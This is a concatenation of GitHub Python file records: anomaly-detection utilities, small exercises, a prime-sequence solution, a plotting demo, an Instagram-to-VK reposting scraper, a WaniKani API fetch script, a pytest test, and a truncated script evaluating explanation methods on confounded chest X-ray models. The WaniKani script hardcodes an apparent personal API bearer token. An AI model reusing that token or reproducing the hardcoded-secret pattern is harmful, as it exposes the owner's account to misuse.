= {'id': str(imageID), 'name':\"image_\"+str(imageID)+\".png\", \"result\": anomaly_detection}\n        toRet.append(temp)\n    writeJson(toRet, outputPath+'output.json')\n    return toRet\n\n\nmodel=anomalyInit('cpu','ICF.2: tensorboard_logs_06052022_00-10/models/best_model_11_loss=-0.0001.pt')\ninput=[{'path':'/home/angepapa/PycharmProjects/anomaly-detection-using-autoencoders/ICF_1DOL_32frame.png', 'id':0}]\na=anomalyInfer(model, input, '', 'cpu')\npass","repo_name":"aggelos-michael-papadopoulos/anomaly_detection_on_insects","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"31494267332","text":"from io import StringIO\nfrom venv import create\n\n\ndef create_tsv_content(\n    lines_cnt: int = 10\n) -> StringIO:\n    content = '\\n'.join([\n        f'{line_idx}\\t{line_idx*100}'\n        for line_idx in range(lines_cnt)\n    ])\n    tsv_content = StringIO(content)\n    return tsv_content\n\n\ndef assess_content(\n    content: StringIO,\n    separator: str = '\\t'\n) -> int:\n    result = 0\n\n    for line in content:\n        col1_value, col2_value = line.split(separator)\n        result += int(col1_value) * int(col2_value)\n\n    return result\n\n\ndef main():\n    tsv_content = create_tsv_content()\n    print( assess_content(tsv_content) )\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"maksymhonchar/python-workout","sub_path":"ch05_files/ex18_mod2.py","file_name":"ex18_mod2.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71318097288","text":"# import time\r\ndef gen_prime(n): \r\n\tprime = [True for i in range(n+1)] \r\n\tp = 2\r\n\twhile (p * p <= n): \r\n\t\tif (prime[p] == True): \r\n\t\t\tfor i in range(p * p, n+1, p): \r\n\t\t\t\tprime[i] = False\r\n\t\tp += 1\r\n\tarr = []\r\n\tfor i in range(2,len(prime)):\r\n\t\tif prime[i]:\r\n\t\t\tarr.append(i)\r\n\treturn arr\r\ndef check_val(arr):\r\n\tsize = len(arr)\r\n\tfor i in range(size-1):\r\n\t\tif arr[i] == arr[i+1]:\r\n\t\t\tprint(\"Same \"+str(arr[i]))\r\n\treturn \"Good\"\r\n\r\n\r\ndef go(N, parr):\r\n\r\n\td = {}\r\n\td2 = {}\r\n\tarr = []\r\n\r\n\tfor i in range(N):\r\n\t\tarr.append([0 for i in range(2)])\r\n\r\n\tarr[0][0] = parr[0]\r\n\tarr[0][1] = parr[1]\r\n\tarr[1][0] = parr[1]\r\n\tarr[1][1] = parr[2]\r\n\td[parr[0]*  parr[1]] = 1\r\n\td[parr[2]*  parr[1]] = 1\r\n\t\r\n\tpt1 = 1\r\n\tpt2 = N-2\r\n\tmm = 0\r\n\t# intt = time.time()\r\n\tfor pt1 in range(2,N-1):\r\n\t\tif arr[pt1-1][1]!=arr[pt1-2][0] and arr[pt1-1][1]!=arr[pt1-2][1]:\r\n\t\t\tarr[pt1][0] = arr[pt1-1][1]\r\n\t\telse:\r\n\t\t\tarr[pt1][0] = arr[pt1-1][0]\r\n\r\n\t\tfor i in range(max(3,d2.get(arr[pt1][0], -1)),len(parr)):\r\n\t\t\tif i>mm:\r\n\t\t\t\tmm=i\r\n\t\t\tif d.get(parr[i]*arr[pt1][0])==None and parr[i]!=arr[pt1][0] and (not((parr[i] in arr[pt1-1]) or (parr[i] in arr[pt1-2]))):\r\n\t\t\t\tarr[pt1][1]  = parr[i]\r\n\t\t\t\td[arr[pt1][0] * parr[i]] = 1\r\n\t\t\t\td2[arr[pt1][0]] = i+1\r\n\t\t\t\tbreak\r\n\r\n\t# fint = time.time()\r\n\t# print(\"TIME:\",fint-intt)\r\n\t# print(\"max iter:\",mm)\t\t\r\n\r\n\ttrunk = []\r\n\t\t\r\n\tif arr[-2][0]!=arr[-3][0] and arr[-2][0]!=arr[-3][1]:\r\n\t\ttrunk.append(arr[-2][0])\r\n\telse:\r\n\t\ttrunk.append(arr[-2][1])\r\n\tif arr[0][0]!=arr[1][0] and arr[0][0]!=arr[1][1]:\r\n\t\ttrunk.append(arr[0][0])\r\n\telse:\r\n\t\ttrunk.append(arr[0][1])\r\n\r\n\tarr[-1][0] = trunk[0]\r\n\tarr[-1][1] = trunk[1]\r\n\r\n\r\n\t\t\r\n\t\t# ind+=1\r\n\t\t# print(arr)\r\n\treturn arr\r\nparr = (gen_prime(315000))\r\n# print(parr[-1],parr[-2],parr[-1]*parr[-2]<10**9,len(parr))\r\n\r\n# print(parr[-1])\r\n\r\narf = go(50000, parr)\r\n\r\nfor x in range(int(input())):\r\n\r\n\t# iffd = False\r\n\t# for i in arf:\r\n\t# \tfor j in i:\r\n\t# \t\tif j==0:\r\n\t# \t\t\tprint(\"True\")\r\n\t# \t\t\tiffd = True\r\n\t# \t\t\tbreak\r\n\t# \tif iffd:\r\n\t# \t\tbreak\r\n\r\n\r\n\t# print(len(arf))\r\n\tN = int(input())\r\n\tif N<50000:\r\n\t\tara = arf[:N-1]\r\n\t\t# print(ara)\r\n\r\n\t\ta_10 = ara[-1][0]\r\n\t\ta_11 = ara[-1][1]\r\n\t\ta_20 = ara[-2][0]\r\n\t\ta_21 = ara[-2][1]\r\n\t\ta10 = ara[0][0]\r\n\t\ta11 = ara[0][1]\r\n\t\ta20 = ara[1][0]\r\n\t\ta21 = ara[1][1]\r\n\t\tuni1 = 0\r\n\t\tif a10!=a20 and a10!=a21:\r\n\t\t\tuni1 = a10\r\n\t\telse:\r\n\t\t\tuni1 = a11\r\n\r\n\t\tuni2 = 0\r\n\t\tif a_10!=a_20 and a_10!=a_21:\r\n\t\t\tuni2 = a_10\r\n\t\telse:\r\n\t\t\tuni2 = a_11\r\n\r\n\t\tara.append([uni1,uni2])\r\n\r\n\telse:\r\n\t\tara = arf\r\n\r\n\t# print(\" \".join(str(v[0]*v[1]) for v in ara))\r\n\tprint(\" \".join(str(i[0]*i[1])  for i in ara ))\r\n\r\n\r\n\r\n# print(\"Done\")\r\n# print(arf[:10],\"\\n\",arf[-10:])\r\n\r\n# arf.sort()\r\n\r\n# for i in range(len(arf)-1):\r\n# \tif arf[i]==arf[i+1]:\r\n# \t\tprint(\"BAD\")\r\n# \t\tbreak\r\n# for x in range(int(input())):\r\n\r\n\r\n\r\n# \tN = int(input())\r\n# \tif N<50000:\r\n# \t\tara = arf[:N-1]\r\n# \t\t# print(ara)\r\n\r\n# \t\ta_10 = ara[-1][0]\r\n# \t\ta_11 = ara[-1][1]\r\n# \t\ta_20 = ara[-2][0]\r\n# \t\ta_21 = ara[-2][1]\r\n# \t\ta10 = ara[0][0]\r\n# \t\ta11 = ara[0][1]\r\n# \t\ta20 = ara[1][0]\r\n# \t\ta21 = ara[1][1]\r\n# \t\tuni1 = 0\r\n# \t\tif a10!=a20 and a10!=a21:\r\n# \t\t\tuni1 = a10\r\n# \t\telse:\r\n# \t\t\tuni1 = a11\r\n\r\n# \t\tuni2 = 0\r\n# \t\tif a_10!=a_20 and a_10!=a_21:\r\n# \t\t\tuni2 = a_10\r\n# \t\telse:\r\n# \t\t\tuni2 = a_11\r\n\r\n# \t\tara.append([uni1,uni2])\r\n\r\n# \telse:\r\n# \t\tara = arf\r\n\r\n# \t# print(\" \".join(str(v[0]*v[1]) for v in ara))\r\n# \tprint(ara[:4], ara[-4:])\r\n\r\n# \taff = []\r\n\r\n# \tfor i in ara:\r\n# \t\taff.append(i[0]*i[1])\r\n\r\n# \t# print(\" \".join(str(v) for v in aff))\r\n\r\n# \taff.sort()\r\n\r\n# \tprint(check_val(aff))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Shubhankar1999/python_work_1","sub_path":"q8d.py","file_name":"q8d.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38792183440","text":"import matplotlib.pyplot as plt\n# print(plt.style.available)\n\n# num=[1,100,1,100,2,69]\n\n###\nx_value=[1,100,4,27]\ny_value=[23,12,34,3]\n###\nplt.style.use(\"dark_background\")\nfig,chart=plt.subplots()\n# chart.plot(num , linewidth=10)\n\n####\nchart.scatter(x_value,y_value , c= y_value , cmap=plt.cm.Reds)\n####\n\nchart.set_title(\"Test\")\nchart.set_xlabel(\"x\" , fontsize=30)\nchart.set_ylabel(\"y\", fontsize=30)\nchart.tick_params(axis=\"both\" , labelsize=30)\n\n\nplt.show()","repo_name":"Shreyanshop27/VS-Code-Projects","sub_path":"Python prep/Crash Course/Data visualisation/mat/cubes.py","file_name":"cubes.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74409941767","text":"import requests\nimport re\nimport json as json_parser\n\nfrom vk import VK\nfrom datetime import datetime, timedelta\n\ndef getMediaFromInstagram(username):\n\n  response = requests.get(\"https://instagram.com/%s\" % username)\n  data = re.findall(r'<script type=\"text/javascript\">window\\._sharedData = (.*?);</script>', response.content.decode(\"utf-8\"), re.M)\n  json = json_parser.loads(data[0])\n\n  items = json[\"entry_data\"][\"ProfilePage\"][0][\"graphql\"][\"user\"][\"edge_owner_to_timeline_media\"][\"edges\"]\n  time_limit = datetime.now() - timedelta(hours=12)\n\n  media = []\n\n  for i, item in enumerate(items):\n    node = item[\"node\"]\n    if (datetime.fromtimestamp(int(node[\"taken_at_timestamp\"])) > time_limit\n      and node[\"is_video\"] != True):\n      media.append({\n        \"text\": \"\",\n        \"photo\": node[\"display_url\"],\n        \"url\": \"http://instagram.com/p/%s\" % node[\"shortcode\"]\n      });\n\n  if (len(media) != 0):\n    return media;\n  else:\n    return None\n\nGROUP_ID = 37862023\nvk = VK()\n\ncelebrities = {\n  \"Селена Гомес\": \"selenagomez\",\n  \"Зак Эфрон\": \"zacefron\",\n  \"Блейк Лавли\": \"blakelively\",\n  \"Нина Добрев\": \"nina\",\n  \"Крис Пратт\": \"prattprattpratt\",\n  \"Эмма Робертс\": \"emmaroberts\",\n  \"Лили Колинз\": \"lilyjcollins\",\n  \"Бейонсе\": \"beyonce\",\n  \"Криштиану Роналду\": \"cristiano\",\n  \"Джей Ло\": \"jlo\",\n  \"Victoria's Secret\": \"victoriassecret\",\n  \"Джастин Тимберлейк\": \"justintimberlake\",\n  \"Дэвид Бекхэм\": \"davidbeckham\",\n  \"Рианна\": \"badgalriri\",\n  \"Марго Робби\": \"margotrobbie\",\n  \"Уилл Смит\": \"willsmith\",\n  \"Настя Ивлеева\": \"_agentgirl_\",\n  \"Меган Фокс\": \"the_native_tiger\",\n  \"Дрейк\": \"champagnepapi\",\n  \"Дженнифер Лоуренс\": \"jenniferlawrencepx\",\n  \"Кайли Дженнер\": \"kyliejenner\",\n  \"Джиджи Хадид\": \"gigihadid\",\n  \"Белла Хадид\": \"bellahadid\",\n  \"Эмили Ратаковски\": \"emrata\",\n  \"Роми Стрейд\": \"romeestrijd\",\n  \"Кендалл Дженнер\": \"kendalljenner\",\n  \"Жозефин Скривер\": \"josephineskriver\",\n  \"Сара Сампайо\": \"sarasampaio\",\n  \"Ирина Шейк\": \"irinashayk\",\n  \"Грейс Элизабет\": \"lovegrace_e\",\n  \"Адриана Лима\": \"adrianalima\",\n  \"Эльза Хоск\": \"hoskelsa\",\n  \"Кара Делевинь\": \"caradelevingne\",\n  \"Вика Одинцова\": \"viki_odintcova\",\n  \"Алексис Рэн\": \"alexisren\",\n  \"Ким Кардашян\": \"kimkardashian\",\n  \"Тейлор Хилл\": \"taylor_hill\",\n  \"Роузи Хантингтон-Уайтли\": \"rosiehw\",\n  \"Джессика Ли Бьюкенен\": \"jessleebuchanan\",\n  \"Жасмин Тукс\": \"jastookes\",\n  \"Алессандра Амбросио\": \"alessandraambrosio\",\n  \"Стелла Максвелл\": \"stellamaxwell\",\n  \"Кайя ��ербер\": \"kaiagerber\",\n  \"Барбара Палвин\": \"realbarbarapalvin\",\n  \"Марта Хант\": \"marthahunt\",\n  \"Синди Мелло\": \"cindymello\"\n}\n\n'''\nmessage = \"Лучшие публикации из инстаграмм-аккаунтов селебрити за последние 24 часа &#128293;\\n\\n\"\nphotos = []\n'''\n\nfor name, username in celebrities.items():\n\n  media = getMediaFromInstagram(username)\n  print(media)\n\n  if (media != None):\n    \n    photos = []\n\n    for item in media:\n      response = requests.get(item[\"photo\"])\n      open(\"photo.jpg\", \"wb\").write(response.content)\n      photos.append(vk.uploadPhoto(GROUP_ID, \"photo.jpg\", name))\n    \n    vk.post(-GROUP_ID, \"&#128163; %s\\n&#128247; Instagram: %s\" % (name, username), photos)\n\n'''\nif (len(photos) >= 3):\n  message += \"#Селебрити@faces\"\n  vk.post(-GROUP_ID, message, photos)\n'''\n","repo_name":"alexmustdie/faces","sub_path":"getMediaFromInstagram.py","file_name":"getMediaFromInstagram.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29444406542","text":"#!/usr/bin/env python3\nimport requests, json\ns = requests.Session()\ns.headers['Wanikani-Revision'] = '20170710'\ns.headers['Authorization'] = 'Bearer a2344c7b-6d09-4aca-bd14-1945105c35b4'\n\ndef fetch_paginated(url):\n    data = []\n    while url:\n        print(url)\n        stuff = s.get(url).json()\n        data += stuff['data']\n        url = stuff['pages']['next_url']\n    return data\n\ndef dump(stuff, path):\n    with open(path, 'w') as fp:\n        json.dump(stuff, fp, indent='    ')\ndef do_study_materials():\n    data = fetch_paginated('https://api.wanikani.com/v2/study_materials')\n    dump(data, 'study_materials.json')\ndef do_subjects():\n    data = fetch_paginated('https://api.wanikani.com/v2/subjects')\n    by_kind = {}\n    for item in data:\n        by_kind.setdefault(item['object'], []).append(item)\n\n    #open('tmp.json', 'w').write(json.dumps(by_kind))\n\n    assert set(by_kind.keys()) == {'radical', 'kanji', 'vocabulary', 'kana_vocabulary'}\n    for kind, items in by_kind.items():\n        dump(items, f'{kind}.json')\ndo_study_materials()\n","repo_name":"comex/wk","sub_path":"fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40252608743","text":"#!/usr/bin/python\n\nfrom double import double\nfrom io import StringIO\nimport pytest\n\nnumber_inputs = StringIO(u'1234\\n')\n\ndef test_double(monkeypatch):\n  monkeypatch.setattr('sys.stdin', number_inputs)\n  assert double() == 2468\n\nstr_inputs = StringIO(u'abcd\\n')\ndef test_double_str(monkeypatch):\n  with pytest.raises(NameError) as e:\n    monkeypatch.setattr('sys.stdin', str_inputs)\n    result = double()\n  assert str(e.value) == \"name 'abcd' is not defined\"\n","repo_name":"srkiNZ84/pytest_intro","sub_path":"test_double.py","file_name":"test_double.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41994800601","text":"import os\nimport numpy as np\nimport pandas as pd\nimport argparse\nfrom train_utils import prepare_datamodule\nfrom data.chexpert_data_module import CheXpert\nfrom data.vindrcxr_data_module import Vindr_CXR\nfrom solvers.resnet_solver import resnet_solver\nfrom solvers.attrinet_solver import task_switch_solver\nimport torchvision.transforms as tfs\nfrom torch.utils.data import DataLoader\nfrom experiment_utils import update_key_value_pairs\nfrom train_utils import to_numpy\nimport matplotlib.pyplot as plt\nimport torch\nfrom train_utils import to_numpy\nfrom tqdm import tqdm\nfrom PIL import Image\n\n\ndef ncc(a,v, zero_norm=True):\n    a = a.flatten()\n    v = v.flatten()\n    if zero_norm:\n        a = (a - np.mean(a)) / (np.std(a) * len(a))\n        v = (v - np.mean(v)) / np.std(v)\n    else:\n        a = (a) / (np.std(a) * len(a))\n        v = (v) / np.std(v)\n\n    return np.correlate(a, v)\n\ndef save_img(img, prefix, path):\n    path = os.path.join(path, prefix)\n    if \"input\" in prefix:\n        plt.imsave(path, img, cmap='gray')\n    if \"mask\" in prefix:\n        vmax = np.abs(img).flatten().max()\n        plt.imsave(path, img, cmap='bwr', vmax=vmax, vmin=-vmax)\n\n\n\n\n\n\n\n\nclass spurious_detection():\n\n    def __init__(self, solver, spu_dataloader, norm_dataloader, confounder, threshold, sample_indices_dict, out_dir, attr_method, config):\n        self.ratio = 0.1\n        self.solver = solver\n        self.spu_dataloader = spu_dataloader\n        self.norm_dataloader = norm_dataloader\n        self.confounder = confounder\n        self.threshold = threshold\n        self.flip_idx = sample_indices_dict[\"flip_idx\"]\n        self.neg_idx = sample_indices_dict[\"all_neg_idx\"]\n        self.all_pos_idx = sample_indices_dict[\"all_pos_idx\"]\n        self.attr_method = attr_method\n        self.device = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n        os.makedirs(out_dir, exist_ok=True)\n        self.out_dir = out_dir\n        os.makedirs(self.out_dir, exist_ok=True)\n        self.label_idx = solver.TRAIN_DISEASES.index(config.contaminated_class)\n        self.all_results_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), config.all_results_file)\n        self.model_name = config.model + \"_\" + config.dataset  # \"resnet_chexpert_Pneumothorax_stripe_degree0.0\"\n\n    def get_ncc(self, positive_only, num_samples):\n\n        sample_idces = self.flip_idx\n        samples_out_dir = os.path.join(self.out_dir, \"flip_idx\")\n        os.makedirs(samples_out_dir, exist_ok=True)\n\n        ncc_values = []\n        count = 0\n\n        for i in tqdm(range(len(sample_idces))):\n            idx = sample_idces[i]\n            spu_data = self.spu_dataloader.dataset[int(idx)]\n            spu_img = spu_data['img']\n            lbl = spu_data['label'].squeeze()\n            norm_data = self.norm_dataloader.dataset[int(idx)]\n            norm_img = norm_data['img']\n            spu_img = torch.from_numpy(spu_img[None])\n            norm_img = torch.from_numpy(norm_img[None])\n\n            if self.attr_method == \"attrinet\":\n                spu_y_pred = self.solver.get_probs(spu_img.to(self.device), self.label_idx)\n                spu_p = to_numpy(spu_y_pred)\n                spu_attr = self.solver.get_attributes(spu_img, self.label_idx)\n                spu_attr = -to_numpy(spu_attr).squeeze()\n                norm_y_pred = self.solver.get_probs(norm_img.to(self.device),self.label_idx)\n                norm_p = to_numpy(norm_y_pred)\n                norm_attr = self.solver.get_attributes(norm_img, self.label_idx)\n                norm_attr = -to_numpy(norm_attr).squeeze()\n\n            else:\n                spu_y_pred_logits = self.solver.model(spu_img.to(self.device))\n                spu_y_pred = torch.sigmoid(spu_y_pred_logits).squeeze()\n                spu_p = to_numpy(spu_y_pred)\n                spu_attr = self.solver.get_attributes(spu_img, self.label_idx, positive_only=positive_only)\n                spu_attr = to_numpy(spu_attr).squeeze()\n                norm_y_pred_logits = self.solver.model(norm_img.to(self.device))\n                norm_y_pred = torch.sigmoid(norm_y_pred_logits).squeeze()\n                norm_p = to_numpy(norm_y_pred)\n                norm_attr = self.solver.get_attributes(norm_img, self.label_idx, positive_only=positive_only)\n                norm_attr = to_numpy(norm_attr).squeeze()\n\n            ncc_measurement = ncc(spu_attr, norm_attr)\n            count += 1\n            ncc_values.append(ncc_measurement)\n\n            if count < 20:\n                # save some samples for qualitative evaluation\n                save_img(to_numpy(spu_img).squeeze(), prefix=str(idx) + '_spu_GT_' + str(lbl.squeeze()) + '_T_' + str(self.threshold.squeeze()) + '_input.png',\n                         path=samples_out_dir)\n                save_img(to_numpy(norm_img).squeeze(), prefix=str(idx) + '_norm_GT_' + str(lbl.squeeze()) + '_T_' + str(self.threshold.squeeze()) + '_input.png',\n                         path=samples_out_dir)\n                save_img(spu_attr.squeeze(), prefix=str(idx) + '_spu_pred: ' + str(spu_p) + '_mask.png', path=samples_out_dir)\n                save_img(norm_attr.squeeze(), prefix=str(idx) + '_norm_pred: ' + str(norm_p) + '_mask.png', path=samples_out_dir)\n\n            if count >= num_samples:\n                break\n        ncc_values = np.asarray(ncc_values)\n        mean_ncc = np.mean(ncc_values)\n        if self.attr_method == \"attrinet\":\n            update_key_value_pairs(self.all_results_file, self.model_name, \"explanation_ncc\", float(mean_ncc))\n        else:\n            update_key_value_pairs(self.all_results_file, self.model_name, self.attr_method +\"_explanation_ncc\", float(mean_ncc))\n        print(\"mean_ncc\", mean_ncc)\n\n    def get_sensitivity(self, num_samples, positive_only=True):\n        sample_idces = self.flip_idx\n        count = 0\n        sensitivity_values = []\n\n        for i in tqdm(range(len(sample_idces))):\n            idx = sample_idces[i]\n            spu_data = self.spu_dataloader.dataset[int(idx)]\n            spu_img = spu_data['img']\n            lbl = spu_data['label'].squeeze()\n            spu_img = torch.from_numpy(spu_img[None])\n\n            if self.attr_method == \"attrinet\":\n                spu_y_pred = self.solver.get_probs(spu_img.to(self.device), self.label_idx)\n                spu_attr = self.solver.get_attributes(spu_img, self.label_idx)\n                spu_attr = -to_numpy(spu_attr).squeeze()\n\n            else:\n                spu_y_pred_logits = self.solver.model(spu_img.to(self.device))\n                spu_y_pred = torch.sigmoid(spu_y_pred_logits).squeeze()\n                spu_attr = self.solver.get_attributes(spu_img, self.label_idx, positive_only=positive_only)\n                spu_attr = to_numpy(spu_attr).squeeze()\n\n            if i < 20:\n                hitts = self.sstt(spu_attr, confounder=self.confounder, attr_method=self.attr_method, ratio=self.ratio, plot_itsect=True, out_dir=self.out_dir, prefix=str(idx))\n            else:\n                hitts = self.sstt(spu_attr, confounder=self.confounder, attr_method=self.attr_method, ratio=self.ratio, plot_itsect=False, out_dir=None, prefix=None)\n            sensitivity_values.append(hitts)\n            count += 1\n            if count >= num_samples:\n                break\n\n        sensitivity_values = np.asarray(sensitivity_values)\n        mean_sensitivity = np.mean(sensitivity_values)\n        if self.attr_method == \"attrinet\":\n            update_key_value_pairs(self.all_results_file, self.model_name, \"confounder_sensitivity\", float(mean_sensitivity))\n        else:\n            update_key_value_pairs(self.all_results_file, self.model_name, self.attr_method + \"_confounder_sensitivity\", float(mean_sensitivity))\n\n        print(\"mean_sensitivity\", mean_sensitivity)\n    def sstt(self, spu_attr, confounder, attr_method, ratio, plot_itsect, out_dir, prefix):\n        #'lime', 'GCam', 'GB', 'shap', 'gifsplanation','attrinet'\n        # get confounder pixel positions\n        confounder_pos = np.where(confounder == 1)\n        confounder_pos_x = confounder_pos[0]\n        confounder_pos_y = confounder_pos[1]\n        num_founder_pixels = len(confounder_pos_y)\n        confounder_pixels = list(zip(confounder_pos_x, confounder_pos_y))\n        confounder_set = set(confounder_pixels)\n\n        #select top 10% pixel with highest value\n        all_attr_pixel = 320*320\n        num_pixels = int(ratio * all_attr_pixel)\n\n        if attr_method == 'attrinet' or attr_method == 'gifsplanation':\n            pixel_importance = np.absolute(to_numpy(spu_attr.squeeze()))\n        else:\n            pixel_importance = spu_attr\n\n        idcs = np.argsort(pixel_importance.flatten())  # from smallest to biggest\n        idcs = idcs[::-1]  # if we want the order biggest to smallest, we reverse the indices array\n        idcs = idcs[:num_pixels]\n        # Compute the corresponding masks for deleting pixels in the given order\n        positions = np.array(np.unravel_index(idcs, pixel_importance.shape)).T  # first colum, h index, second column, w index\n        attri_pos_x = positions[:, 0]\n        attri_pos_y = positions[:, 1]\n        top_attri_pixels = list(zip(attri_pos_x, attri_pos_y))\n        top_attri_set = set(top_attri_pixels)\n        inter_set = confounder_set.intersection(top_attri_set)\n        hitts = len(inter_set)/num_founder_pixels\n        if hitts!=0 and plot_itsect == True:\n            pixels = [list(item) for item in inter_set]\n            pixels = np.asarray(pixels)\n            background = np.zeros((320, 320))\n            background[pixels[:, 0], pixels[:, 1]] = 255\n            img = Image.fromarray(background)\n            img = img.convert(\"L\")\n            out_path = os.path.join(out_dir, prefix + \"_\" + str(hitts) + \"_hitts.png\")\n            img.save(out_path)\n        return hitts\n\n\n\n\n\n\n\ndef str2bool(v):\n    return v.lower() in ('true')\n\ndef argument_parser():\n    \"\"\"\n    Create a parser with run_experiments arguments.\n    Returns:\n        argparse.ArgumentParser:\n    \"\"\"\n    parser = argparse.ArgumentParser(description=\"spurious model/sample analyser.\")\n\n    parser.add_argument('--model', type=str, default='resnet', choices=['resnet', 'attrinet'])\n    parser.add_argument('--dataset', type=str, default='chexpert', choices=['chexpert', 'vindrcxr'])\n    parser.add_argument('--contaminated_class', type=str, default=\"Cardiomegaly\",\n                        choices=[\"Cardiomegaly\", \"Aortic enlargement\"])\n    parser.add_argument('--attr_method', type=str, default='GCam',\n                        help=\"choose the explaination methods, can be 'lime', 'GCam', 'GB', 'shap', 'gifsplanation', 'attrinet'\")\n    parser.add_argument('--positive_only', type=str2bool, default=False,\n                        help=\"if Ture, only select positive attributions, if False, keep all attribution\")\n    parser.add_argument('--mode', type=str, default='test', choices=['train', 'test'])\n\n    parser.add_argument('--contaim_scale', type=int, default=2, choices=[0, 1, 2, 3, 4])\n    parser.add_argument('--contaim_type', type=str, default=\"tag\", choices=[\"tag\", \"hyperintensities\", \"obstruction\"])\n\n    parser.add_argument('--num_samples', type=int, default=100, choices=[100],\n                        help=\"number of flipped sample to evaluate on, 100 for short evaluate, 2500 for larger evaluation\")\n\n    parser.add_argument(\"--img_size\", default=320,\n                        type=int, help=\"image size for the data loader.\")\n    parser.add_argument(\"--batch_size\", default=1,\n                        type=int, help=\"Batch size for the data loader.\")\n    parser.add_argument('--manual_seed', type=int, default=42, help='set seed')\n    parser.add_argument('--use_gpu', type=str2bool, default=True, help='whether to run on the GPU')\n    parser.add_argument('--all_results_file', type=str, default=\"all_results.json\", help='dictionary to save all results')\n\n    return parser\n\n\ndef get_arguments():\n    parser = argument_parser()\n    exp_configs = parser.parse_args()\n    if exp_configs.attr_method == \"attrinet\":\n        # configurations of generator\n        exp_configs.image_size = 320\n        exp_configs.generator_type = 'stargan'\n        exp_configs.deep_supervise = False\n\n        # configurations of latent code generator\n        exp_configs.n_fc = 8\n        exp_configs.n_ones = 20\n        exp_configs.num_out_channels = 1\n        # configurations of classifiers\n        exp_configs.lgs_downsample_ratio = 32\n\n    return exp_configs\n\n\ndef prep_solver(exp_configs):\n    from models_dict import resnet_model_path_dict, attrinet_model_path_dict\n    from data.dataset_params import dataset_dict_chexpert_Cardiomegaly, dataset_dict_vindrcxr_Aortic_enlargement\n    exp_configs.dataset += '_' + exp_configs.contaminated_class + '_' + exp_configs.contaim_type + '_' + 'degree' + str(\n        exp_configs.contaim_scale)  # \"chexpert_Cardiomegaly_tag_degree2\"\n\n    if \"chexpert\" in exp_configs.dataset:\n        if \"Cardiomegaly\" in exp_configs.dataset:\n            dataset_dict = dataset_dict_chexpert_Cardiomegaly[exp_configs.dataset]\n    if \"vindrcxr\" in exp_configs.dataset:\n        dataset_dict = dataset_dict_vindrcxr_Aortic_enlargement[exp_configs.dataset]\n    datamodule = prepare_datamodule(exp_configs, dataset_dict)\n    exp_configs.train_diseases = dataset_dict[\"train_diseases\"]\n\n    if exp_configs.attr_method == \"attrinet\":\n        exp_configs.model_path = attrinet_model_path_dict[exp_configs.dataset]\n        data_loader = {}\n        data_loader['train_pos'] = None\n        data_loader['train_neg'] = None\n        data_loader['vis_pos'] = None\n        data_loader['vis_neg'] = None\n        data_loader['valid'] = None\n        data_loader[\"test\"] = None\n        solver = task_switch_solver(exp_configs, data_loader=data_loader)\n\n    else:\n        exp_configs.model_path = resnet_model_path_dict[exp_configs.dataset]\n        data_loader = {}\n        data_loader[\"train\"] = None\n        data_loader[\"valid\"] = None\n        data_loader[\"test\"] = None\n        solver = resnet_solver(exp_configs, data_loader=data_loader)\n        solver.set_explainer(which_explainer=exp_configs.attr_method)\n\n    exp_configs.result_dir = os.path.join(exp_configs.model_path, \"miccai23\", \"selected_flip_prediction_samples\", \"new_eval_1615\", exp_configs.attr_method)\n    os.makedirs(exp_configs.result_dir, exist_ok=True)\n\n    print(\"exp_configs.result_dir: \",exp_configs.result_dir)\n    print(\"exp_configs.model_path: \",exp_configs.model_path)\n\n    return solver\n\n\n\ndef prep_dataloaders(exp_configs):\n\n    from data.contaminate_data_settings import TGT_DATA_ROOT\n    confounder_dict = {\n        \"tag\": os.path.join(os.path.dirname(os.path.abspath(__file__)), \"confounder_masks\", \"tag.txt\"),\n        \"hyperintensities\": os.path.join(os.path.dirname(os.path.abspath(__file__)), \"confounder_masks\", \"hyperintensities.txt\"),\n        \"obstruction\": os.path.join(os.path.dirname(os.path.abspath(__file__)), \"confounder_masks\", \"obstruction.txt\")\n    }\n\n    os.path.join(os.path.dirname(os.path.abspath(__file__)), \"confounder_masks\", \"tag.txt\")\n\n\n    normal_chexpert_Cardiomegaly_root_folders = {\n        \"tag\": os.path.join(TGT_DATA_ROOT, \"chexpert\", \"Cardiomegaly\", \"tag\", \"degree0\"),\n        \"hyperintensities\": os.path.join(TGT_DATA_ROOT, \"chexpert\", \"Cardiomegaly\", \"hyperintensities\", \"degree0\"),\n        \"obstruction\": os.path.join(TGT_DATA_ROOT, \"chexpert\", \"Cardiomegaly\", \"obstruction\", \"degree0\")\n    }\n\n    normal_vindr_Aortic_enlargement_root_folders = {\n        \"tag\": os.path.join(TGT_DATA_ROOT, \"vindr\", \"Aortic enlargement\", \"tag\", \"degree0\"),\n        \"hyperintensities\": os.path.join(TGT_DATA_ROOT, \"vindr\", \"Aortic enlargement\", \"hyperintensities\", \"degree0\"),\n        \"obstruction\": os.path.join(TGT_DATA_ROOT, \"vindr\", \"Aortic enlargement\", \"obstruction\", \"degree0\")\n\n    }\n    spu_chexpert_Cardiomegaly_root_folders = {\n        \"tag\": os.path.join(TGT_DATA_ROOT, \"chexpert\", \"Cardiomegaly\", \"tag\", \"degree4\"),\n        \"hyperintensities\": os.path.join(TGT_DATA_ROOT, 